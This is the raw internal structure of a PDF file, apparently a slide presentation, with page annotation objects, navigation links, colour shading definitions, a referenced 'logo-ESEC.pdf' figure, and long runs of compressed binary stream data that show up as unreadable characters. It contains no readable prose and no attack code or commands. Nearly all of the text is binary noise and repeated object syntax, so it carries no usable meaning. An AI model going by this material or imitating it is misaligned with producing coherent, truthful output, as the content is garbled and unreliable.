o|‡CւhiI*G' 4In2OeT~OB b7ޠjz Mk|¬1g48k/<9աRymF fRѩ<fl &PyD?=qfyA(T6 {}ajIPO,:Z\]Mk<]<+!DsK&')1:7HhZ9r aGeGf7UYR\X02rH#yzm{RsKnM-(pTLG^"[Q{OѰޝOh5v,F EkZH  &^k0Ij3Ǔ$է~`E5ΛV8yvjC' Ok~B? BQB=|P?& APQQu3'&4"p8y48`'FH`7(Ɗ7? ̗&ꏍ "G Ȩ-s4Es(Ԗ6 u44 mx b"ჄH f1s^4{n7AD?H Dz1Z켁(A#.W0S*jȓ~pcp;[X+*P ^d (a,4hz  7їq:b2BS) B%oʀ>{"ajQbcIP qxaNse*&ak0Uf0jH"K%19*AP K$ p.?a1<8X(]> stream xMHaї$T& R+SeL b}wg-E"u.VDNC:DuE^";cT03y|URcE4`λޘvztLUF\)s:k-iYj6|vP4*wd>,y vڴ=S԰79 ڸ@`ӋmvUl5`P=Gj)kP*}6~^/~.~a2 nײ0%f|U 9l7?j`l7"tiNf]?uhgM Zʲ4i[&LY_x {xO$̥߬S]%֧&7g̞>r=g8`候 8rʶ<dWT'<eL~.u"A=9뗚]>313X3-$e}u,gmg664$ыEzL*LZ_j_]Xy[?Xs N/ ]|msϚƫk_WfȸA2)oz-di2|m٣j|5ԥej8ɮeE7[Q|IM%ײxf)|6\ k`Ҳ䍐.> >> endobj 58 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [238.376 5.96 248.339 15.425] /Subtype /Link /A<> >> endobj 59 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [246.346 5.96 254.316 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation2) >> >> endobj 60 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [253.735 5.96 260.708 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 61 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [258.716 5.96 265.69 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 62 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [263.697 5.96 270.671 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 63 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [268.679 5.96 275.652 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation2) >> >> endobj 64 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [275.071 5.96 282.044 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 65 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [280.052 5.96 287.026 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 66 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [285.033 5.96 292.007 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation4) >> >> endobj 67 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [290.014 5.96 296.988 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 68 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [296.406 5.96 303.38 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 69 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [301.388 5.96 308.362 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 70 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [306.369 5.96 313.343 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation4) >> >> endobj 71 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [311.35 5.96 318.324 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 72 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [317.742 5.96 328.701 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 73 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [326.709 5.96 339.66 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 74 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [339.078 5.96 348.045 15.425] /Subtype /Link /A<> >> endobj 75 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [346.052 5.96 354.022 15.425] /Subtype /Link /A<> >> endobj 76 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [352.03 5.96 360.996 15.425] /Subtype /Link /A<> >> endobj 77 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 264.495 182.414 271.878] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 78 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 259.104 182.414 266.488] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 79 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 253.713 182.414 261.097] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 80 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 248.323 182.414 255.706] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 81 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [182.753 -0.996 291.642 5.96] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 86 0 obj << /D [45 0 R /XYZ 28.346 246.281 null] >> endobj 88 0 obj << /D [45 0 R /XYZ 334.488 1.245 null] >> endobj 89 0 obj << /D [45 0 R /XYZ 334.488 1.245 null] >> endobj 82 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R >> /XObject << /Fm1 46 0 R /Fm3 53 0 R /Fm4 54 0 R /Fm2 52 0 R /Im5 55 0 R /Im6 56 0 R >> /ProcSet [ /PDF /Text ] >> endobj 153 0 obj << /Length 3030 /Filter /FlateDecode >> stream x\Ys7~ׯ} [\IeK݇>%"(:ɿ1rH[X4@>`&9oxz\\\?7JiLH\O7kJ g^(᪄ծ EGƁ(้S&8F)nj LKLf{?\r>kfh-v"H,9ID#b*3mFfKWP7o 6ᙴ tRJ}2m75zț`CfO3`!fDe(f@rΤNOxbWWY|-R~ޛ-Bs" WdS!8o9t$X{P| S7 X99w҉}E<g.idn`> ,7>Õi%u->7}On mYSWn姭䳜5/p |<|πAEZ˅ X9F!,z }㹠%&}eR$y/-@ ,}IgFCsk4JC?5SSf0orH`h$1tuDn+ &|2Vd6JKaVPxMYe{v687 I8IJh*m* 8*U%5j<{ ȑN$( <ܭ w0*0+5>T{p,wl7E""ag`Ipwp(q|Op |fambp[F[Fs,~O[Pn8_[5rqPAGsD8!C/qx?Ou4L;6O^nѧoІLlؐ^1A%C ͖nzP!m>. f BBЍH!~OfTw OHog00uWLq5 u.--鶑u`#`vQ8eܯ'͞B-QL:AU{$N`qoXOzAi,m,4 >qݼTE0{uيZ-ΔR[CNA &fo\>D&=Y#yIABλ]zͮ6͋9)܍,3hBmr6bU/ a`pQ6mn~ؐ9)-rs)i7Lgw !B%:Ui)!`iײH[,@H_xF{ Z6;!q"ǴwUU/HՋJ5 bȮTaP6}RRj~`Rl6@:?{aI E 'jXv;,^X4w%W)fHѬ↫hw,N~ ӈg:TsU%/ĺ*w,qV;iEeehZ >'N1/hH2W@( v\Bl 9q͸)_q$EqC}+$Ɓnm[8ɯ5F~%2;3Cx[Ge .p^."G<a䋝M7";aU~tb,3I9WȶHin%pi7\!FI}d endstream endobj 152 0 obj << /Type /Page /Contents 153 0 R /Resources 151 0 R /MediaBox [0 0 362.835 272.126] /Trans << /S /R >> /Parent 90 0 R /Annots [ 125 0 R 126 0 R 127 0 R 128 0 R 129 0 R 130 0 R 131 0 R 132 0 R 133 0 R 134 0 R 135 0 R 136 0 R 137 0 R 138 0 R 139 0 R 140 0 R 141 0 R 142 0 R 143 0 R 144 0 R 145 0 R 146 0 R 147 0 R 148 0 R 149 0 R 121 0 R 122 0 R 123 0 R 150 0 R ] >> endobj 124 0 obj << /Type /XObject /Subtype /Form /BBox [0 0 362.835 272.126] /FormType 1 /Matrix [1 0 0 1 0 0] /Resources 157 0 R /Length 15 /Filter /FlateDecode >> stream xP( endstream endobj 157 0 obj << /Shading << /Sh << /ShadingType 2 /ColorSpace /DeviceRGB /Domain [0 1] /Coords [0.0 0 362.8394 0] /Function << /FunctionType 2 /Domain [0 1] /C0 [0.99178 0.81334 0.31647] /C1 [0.98825 0.73334 0.02353] /N 1 >> /Extend [false false] >> >> /ProcSet [ /PDF ] >> endobj 119 0 obj << /Type /XObject /Subtype /Form /BBox [0 0 5669.291 3.985] /FormType 1 /Matrix [1 0 0 1 0 0] /Resources 158 0 R /Length 15 /Filter /FlateDecode >> stream xP( endstream endobj 158 0 obj << /Shading << /Sh << /ShadingType 2 /ColorSpace /DeviceRGB /Domain [0.0 3.9851] /Coords [0 0.0 0 3.9851] /Function << /FunctionType 3 /Domain [0.0 3.9851] /Functions [ << /FunctionType 2 /Domain [0.0 3.9851] /C0 [0.99707 0.93333 0.75587] /C1 [0.99707 0.93333 0.75587] /N 1 >> << /FunctionType 2 /Domain [0.0 3.9851] /C0 [0.99707 0.93333 0.75587] /C1 [0.98825 0.73334 0.02353] /N 1 >> ] /Bounds [ 1.99255] /Encode [0 1 0 1] >> /Extend [false false] >> >> /ProcSet [ /PDF ] >> endobj 120 0 obj << /Type /XObject /Subtype /Form /BBox [0 0 4.689 4.689] /FormType 1 /Matrix [1 0 0 1 0 0] /Resources 159 0 R /Length 15 /Filter /FlateDecode >> stream xP( endstream endobj 159 0 obj << /Shading << /Sh << /ShadingType 3 /ColorSpace /DeviceRGB /Domain [0.0 2.34438] /Coords [1.52634 3.34418 0.0 2.34438 2.34438 2.34438] /Function << /FunctionType 3 /Domain [0.0 2.34438] /Functions [ << /FunctionType 2 /Domain [0.0 2.34438] /C0 [0.85236 0.85353 0.89471] /C1 [0.26178 0.26765 0.47354] /N 1 >> << /FunctionType 2 /Domain [0.0 2.34438] /C0 [0.26178 0.26765 0.47354] /C1 [0.01099 0.01646 0.20863] /N 1 >> << /FunctionType 2 /Domain [0.0 2.34438] /C0 [0.01099 0.01646 0.20863] /C1 [0.00784 0.01176 0.14903] /N 1 >> << /FunctionType 2 /Domain [0.0 2.34438] /C0 [0.00784 0.01176 0.14903] /C1 [0.99707 0.93333 0.75587] /N 1 >> ] /Bounds [ 0.72711 1.45424 1.99962] /Encode [0 1 0 1 0 1 0 1] >> /Extend [true false] >> >> /ProcSet [ /PDF ] >> endobj 118 0 obj << /Interpolate false /Type /XObject /Subtype /Form /FormType 1 /PTEX.FileName (./figs/logo-ESEC.pdf) /PTEX.PageNumber 1 /PTEX.InfoDict 160 0 R /BBox [0 0 104 105] /Resources << /ProcSet [ /PDF /ImageB /ImageC /ImageI ] /ExtGState << /Gs1 161 0 R >>/XObject << /Im1 162 0 R >>>> /Length 163 0 R /Filter /FlateDecode >> stream x+TT(T0BC 6U(JUWSw/6TH/J5Yɹ \.@ endstream endobj 160 0 obj << /Producer (Mac OS X 10.5.7 Quartz PDFContext) /CreationDate (D:20090525122120Z00'00') /ModDate (D:20090525122120Z00'00') >> endobj 161 0 obj << /Type /ExtGState /OPM 1 >> endobj 162 0 obj << /Length 164 0 R /Type /XObject /Subtype /Image /Width 103 /Height 104 /ColorSpace 165 0 R /BitsPerComponent 8 /Filter /FlateDecode >> stream x\v8 ̝rwʝN!!H,\=C  o!0FW.ߟ{ ].c)tJ?Vh< [_0*Xa"_I].~z@<VB5F Z1c_=%V.{w']+`碟g.×\ .9(wջX !Wxq"nJ@Ĵ9oa9S9K* ջ,bh^JAWNsb@ dEJjπK &i{6 ҦB @ɹf^%v.0ǐD!W (%>XףX8C/t֊6NɊd 8wjrK̏s &[_$DRyZ_+ a=$.=npߔk{i˖DU_w||':@AVƊ%wĒUCKXm.9;m,WD8lƳ F^uV:Sv$gb1`f]M[6IVNRmݙ Bmu2n֣1 S[lt\ǐ&:)q{Wi'+3/CWm33ݦb";ZeߊĽy ®4cgdܸ efGpIh)tO#)LHdcM3L&5?x)Dj9~z|MAوb/l sq[Jn_0D;gHE4sgij >>Ο:_bQ̡Z^1 J3ª! Yi! X^IjOO }A5pcK*\ vSR2$/:O J٫#&,NJ뽼2GASm9ħVyUjpaBXނf%]@u wXȥl8>tG^sq8E<_l>ĥ.z;^EgwA٬&PWR Xe=?dH:E7 i8@1ҷ4(ڵu'oNR߮Wn6v o}0xm4@ok }2;LPO6Y}zM;ɞ[,? tԮ(Y'KҍbA vC۩{:kmv+6X nB3R;fVg.6JO?}79N8NiFfnQHKQFo3sU9ot.'`$\&?u`܎efd_$FYíͲ^8CFa]@6@QHdN4%}=_r_ߟQnb(-/]113#\Wf7HRum420HD'r]{32| wјY27Q#w7,/!2`KsٯHD*vS}O9Z/~/caQSg@;ڴtѷx4 Gh4Nu0=~(9"RG0-OCfEuPmK~U9I#eja=U=w]GGBKrGo {ts:q7qܫbi'Dq~m X߉:k!j- sAFLq2I0PZQ"̧ p24Q]~ }=I̯5idi٢eʘd۶BGPp>;Q ƸbOeD%9/2ahP&2a88e^5@.<[@b gaK/٨~L =my1ȍƊB,vl1odM) rxk] :byxLN,yFrήu,YX>4! }=ڙY푯y\!]czInb42QS Z6ٌ؄f#;#w - ńW&L^Q뺣NP%`G)6#縣u6b58aķ*h&VR{Rt!^ŞwߨiT!@`1J28M?#bXMl3Õ:V,wK]r{^:0*Ѳ=[m SuNEb`6$`#Vk 3k[ˁrͬ']ɜ|/`Ī4z|$r3߂N'7~L^RЧ2zw!KC? m. endstream endobj 163 0 obj 68 endobj 164 0 obj 3542 endobj 165 0 obj [/ICCBased 166 0 R] endobj 166 0 obj << /Length 167 0 R /N 3 /Alternate /DeviceRGB /Filter /FlateDecode >> stream xMHaї$T& R+SeL b}wg-E"u.VDNC:DuE^";cT03y|URcE4`λޘvztLUF\)s:k-iYj6|vP4*wd>,y vڴ=S԰79 ڸ@`ӋmvUl5`P=Gj)kP*}6~^/~.~a2 nײ0%f|U 9l7?j`l7"tiNf]?uhgM Zʲ4i[&LY_x {xO$̥߬S]%֧&7g̞>r=g8`候 8rʶ<dWT'<eL~.u"A=9뗚]>313X3-$e}u,gmg664$ыEzL*LZ_j_]Xy[?Xs N/ ]|msϚƫk_WfȸA2)oz-di2|m٣j|5ԥej8ɮeE7[Q|IM%ײxf)|6\ k`Ҳ䍐.> >> endobj 126 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [232.399 5.96 240.369 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 127 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [238.376 5.96 248.339 15.425] /Subtype /Link /A<> >> endobj 128 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [246.346 5.96 254.316 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation3) >> >> endobj 129 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [253.735 5.96 260.708 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 130 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [258.716 5.96 265.69 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation2) >> >> endobj 131 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [263.697 5.96 270.671 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation2) >> >> endobj 132 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [268.679 5.96 275.652 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation3) >> >> endobj 133 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [275.071 5.96 282.044 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 134 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [280.052 5.96 287.026 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 135 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [285.033 5.96 292.007 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation4) >> >> endobj 136 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [290.014 5.96 296.988 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 137 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [296.406 5.96 303.38 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 138 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [301.388 5.96 308.362 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 139 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [306.369 5.96 313.343 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation4) >> >> endobj 140 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [311.35 5.96 318.324 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 141 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [317.742 5.96 328.701 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 142 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [326.709 5.96 339.66 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 143 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [339.078 5.96 348.045 15.425] /Subtype /Link /A<> >> endobj 144 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [346.052 5.96 354.022 15.425] /Subtype /Link /A<> >> endobj 145 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [352.03 5.96 360.996 15.425] /Subtype /Link /A<> >> endobj 146 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 264.495 182.414 271.878] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 147 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 259.104 182.414 266.488] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 148 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 253.713 182.414 261.097] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 149 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 248.323 182.414 255.706] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 121 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[0 1 1] /Rect [47.275 166.909 319.959 178.829] /Subtype/Link/A<> >> endobj 122 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[0 1 1] /Rect [47.275 88.035 238.257 99.955] /Subtype/Link/A<> >> endobj 123 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[0 1 1] /Rect [47.275 21.116 177.406 33.036] /Subtype/Link/A<> >> endobj 150 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [182.753 -0.996 291.642 5.96] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 111 0 obj << /D [152 0 R /XYZ 334.488 1.245 null] >> endobj 156 0 obj << /D [152 0 R /XYZ 334.488 1.245 null] >> endobj 151 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F53 154 0 R /F15 155 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm5 119 0 R /Fm3 53 0 R /Fm4 54 0 R /Fm2 52 0 R /Fm6 120 0 R /Im7 118 0 R >> /ProcSet [ /PDF /Text ] >> endobj 204 0 obj << /Length 2397 /Filter /FlateDecode >> stream xZKsWLrw9.)']q%dUQ02"yXP@1V*R3=MO?f5#x 5G佤MFT:hl_z;Awiz+5E {bTx@M"Pr^Sȳ#hOSU= q'd ʇU}@zrGt;n8uߥHrsI q'd`%y.oR{u1 }oH邤ϚW87*!QkŷGldY/*aC&&I1lhE0^W@slI?g5ǯnӈ8Z;7yTrNڞ*ߘ=ɚdd da{\4.vp>zyCn^h8ʁBt!v\=`tS)2M*L)O.Ș%&o12"R>[ȷoGyκFTL2F7$F>Fҥr8ѷSP{pS}>Ȱ;/$q粲_9*`I+#)]F0jFMfASNI(yj?d&x=BRW䞧mI0ZwJ!&.6_09-y'_Tos8GBlߚՔ47(~Ap+L_ "Ij Fҝ,:#ڒa1U^5ijZ乀10igԢL'1[Hʉ[Sl'`2Aja9ӡw5)c09#4r8#;x NGr1j_|8pZ~E  Ipn 5`,k1# !P:Jϱ.֕KwBA!3o}ƎE$hn=@M+.I4i:XъPZB0bx2D}-2]?)+D%_xN?U{ɾVtE+BqH%P?e1VWEAFaDCikx7Ż17mnݑoqg4NJ[b&95b>fQC5"8s-Ƒ2REbb \gW(Rxj]?fU7dY)O_dj(> /Parent 90 0 R /Annots [ 176 0 R 177 0 R 178 0 R 179 0 R 180 0 R 181 0 R 182 0 R 183 0 R 184 0 R 185 0 R 186 0 R 187 0 R 188 0 R 189 0 R 190 0 R 191 0 R 192 0 R 193 0 R 194 0 R 195 0 R 196 0 R 197 0 R 198 0 R 199 0 R 200 0 R 201 0 R ] >> endobj 169 0 obj << /Type /XObject /Subtype /Form /BBox [0 0 4.689 4.689] /FormType 1 /Matrix [1 0 0 1 0 0] /Resources 207 0 R /Length 15 /Filter /FlateDecode >> stream xP( endstream endobj 207 0 obj << /Shading << /Sh << /ShadingType 3 /ColorSpace /DeviceRGB /Domain [0.0 2.34438] /Coords [1.52634 3.34418 0.0 2.34438 2.34438 2.34438] /Function << /FunctionType 3 /Domain [0.0 2.34438] /Functions [ << /FunctionType 2 /Domain [0.0 2.34438] /C0 [0.85236 0.85353 0.89471] /C1 [0.26178 0.26765 0.47354] /N 1 >> << /FunctionType 2 /Domain [0.0 2.34438] /C0 [0.26178 0.26765 0.47354] /C1 [0.01099 0.01646 0.20863] /N 1 >> << /FunctionType 2 /Domain [0.0 2.34438] /C0 [0.01099 0.01646 0.20863] /C1 [0.00784 0.01176 0.14903] /N 1 >> << /FunctionType 2 /Domain [0.0 2.34438] /C0 [0.00784 0.01176 0.14903] /C1 [1 1 1] /N 1 >> ] /Bounds [ 0.72711 1.45424 1.99962] /Encode [0 1 0 1 0 1 0 1] >> /Extend [true false] >> >> /ProcSet [ /PDF ] >> endobj 170 0 obj << /Type /XObject /Subtype /Form /BBox [0 0 3.778 3.778] /FormType 1 /Matrix [1 0 0 1 0 0] /Resources 208 0 R /Length 15 /Filter /FlateDecode >> stream xP( endstream endobj 208 0 obj << /Shading << /Sh << /ShadingType 3 /ColorSpace /DeviceRGB /Domain [0.0 1.8888] /Coords [1.23436 2.69772 0.0 1.8888 1.8888 1.8888] /Function << /FunctionType 3 /Domain [0.0 1.8888] /Functions [ << /FunctionType 2 /Domain [0.0 1.8888] /C0 [0.85236 0.85353 0.89471] /C1 [0.26178 0.26765 0.47354] /N 1 >> << /FunctionType 2 /Domain [0.0 1.8888] /C0 [0.26178 0.26765 0.47354] /C1 [0.01099 0.01646 0.20863] /N 1 >> << /FunctionType 2 /Domain [0.0 1.8888] /C0 [0.01099 0.01646 0.20863] /C1 [0.00784 0.01176 0.14903] /N 1 >> << /FunctionType 2 /Domain [0.0 1.8888] /C0 [0.00784 0.01176 0.14903] /C1 [1 1 1] /N 1 >> ] /Bounds [ 0.58167 1.16342 1.59972] /Encode [0 1 0 1 0 1 0 1] >> /Extend [true false] >> >> /ProcSet [ /PDF ] >> endobj 171 0 obj << /Type /XObject /Subtype /Form /BBox [0 0 5669.291 3.985] /FormType 1 /Matrix [1 0 0 1 0 0] /Resources 209 0 R /Length 15 /Filter /FlateDecode >> stream xP( endstream endobj 209 0 obj << /Shading << /Sh << /ShadingType 2 /ColorSpace /DeviceRGB /Domain [0.0 3.9851] /Coords [0 0.0 0 3.9851] /Function << /FunctionType 3 /Domain [0.0 3.9851] /Functions [ << /FunctionType 2 /Domain [0.0 3.9851] /C0 [0.99971 0.99333 0.97559] /C1 [0.99971 0.99333 0.97559] /N 1 >> << /FunctionType 2 /Domain [0.0 3.9851] /C0 [0.99971 0.99333 0.97559] /C1 [0.99883 0.97333 0.90236] /N 1 >> ] /Bounds [ 1.99255] /Encode [0 1 0 1] >> /Extend [false false] >> >> /ProcSet [ /PDF ] >> endobj 173 0 obj << /Type /XObject /Subtype /Form /BBox [0 0 8 8] /FormType 1 /Matrix [1 0 0 1 0 0] /Resources 210 0 R /Length 15 /Filter /FlateDecode >> stream xP( endstream endobj 210 0 obj << /Shading << /Sh << /ShadingType 3 /ColorSpace /DeviceRGB /Domain [0 1] /Coords [4.00005 4.00005 0.0 4.00005 4.00005 4.00005] /Function << /FunctionType 2 /Domain [0 1] /C0 [0.95 0.95 0.95] /C1 [1 1 1] /N 1 >> /Extend [true false] >> >> /ProcSet [ /PDF ] >> endobj 174 0 obj << /Type /XObject /Subtype /Form /BBox [0 0 16 16] /FormType 1 /Matrix [1 0 0 1 0 0] /Resources 211 0 R /Length 15 /Filter /FlateDecode >> stream xP( endstream endobj 211 0 obj << /Shading << /Sh << /ShadingType 3 /ColorSpace /DeviceRGB /Domain [0.0 8.00009] /Coords [8.00009 8.00009 0.0 8.00009 8.00009 8.00009] /Function << /FunctionType 3 /Domain [0.0 8.00009] /Functions [ << /FunctionType 2 /Domain [0.0 8.00009] /C0 [0.95 0.95 0.95] /C1 [0.95 0.95 0.95] /N 1 >> << /FunctionType 2 /Domain [0.0 8.00009] /C0 [0.95 0.95 0.95] /C1 [1 1 1] /N 1 >> ] /Bounds [ 4.00005] /Encode [0 1 0 1] >> /Extend [true false] >> >> /ProcSet [ /PDF ] >> endobj 172 0 obj << /Type /XObject /Subtype /Form /BBox [0 0 5669.291 8] /FormType 1 /Matrix [1 0 0 1 0 0] /Resources 212 0 R /Length 15 /Filter /FlateDecode >> stream xP( endstream endobj 212 0 obj << /Shading << /Sh << /ShadingType 2 /ColorSpace /DeviceRGB /Domain [0.0 8.00009] /Coords [0 0.0 0 8.00009] /Function << /FunctionType 3 /Domain [0.0 8.00009] /Functions [ << /FunctionType 2 /Domain [0.0 8.00009] /C0 [1 1 1] /C1 [0.95 0.95 0.95] /N 1 >> << /FunctionType 2 /Domain [0.0 8.00009] /C0 [0.95 0.95 0.95] /C1 [0.95 0.95 0.95] /N 1 >> ] /Bounds [ 4.00005] /Encode [0 1 0 1] >> /Extend [false false] >> >> /ProcSet [ /PDF ] >> endobj 175 0 obj << /Type /XObject /Subtype /Form /BBox [0 0 4.689 4.689] /FormType 1 /Matrix [1 0 0 1 0 0] /Resources 213 0 R /Length 15 /Filter /FlateDecode >> stream xP( endstream endobj 213 0 obj << /Shading << /Sh << /ShadingType 3 /ColorSpace /DeviceRGB /Domain [0.0 2.34438] /Coords [1.52634 3.34418 0.0 2.34438 2.34438 2.34438] /Function << /FunctionType 3 /Domain [0.0 2.34438] /Functions [ << /FunctionType 2 /Domain [0.0 2.34438] /C0 [0.98523 0.98535 0.98947] /C1 [0.92618 0.92676 0.94736] /N 1 >> << /FunctionType 2 /Domain [0.0 2.34438] /C0 [0.92618 0.92676 0.94736] /C1 [0.9011 0.90164 0.92087] /N 1 >> << /FunctionType 2 /Domain [0.0 2.34438] /C0 [0.9011 0.90164 0.92087] /C1 [0.90079 0.90117 0.9149] /N 1 >> << /FunctionType 2 /Domain [0.0 2.34438] /C0 [0.90079 0.90117 0.9149] /C1 [0.99971 0.99333 0.97559] /N 1 >> ] /Bounds [ 0.72711 1.45424 1.99962] /Encode [0 1 0 1 0 1 0 1] >> /Extend [true false] >> >> /ProcSet [ /PDF ] >> endobj 176 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[0 1 1] /Rect [336.542 15.425 360.996 40.094] /Subtype/Link/A<> >> endobj 177 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [232.399 5.96 240.369 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation2) >> >> endobj 178 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [238.376 5.96 248.339 15.425] /Subtype /Link /A<> >> endobj 179 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [246.346 5.96 254.316 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation4) >> >> endobj 180 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [253.735 5.96 260.708 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation2) >> >> endobj 181 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [258.716 5.96 265.69 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation3) >> >> endobj 182 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 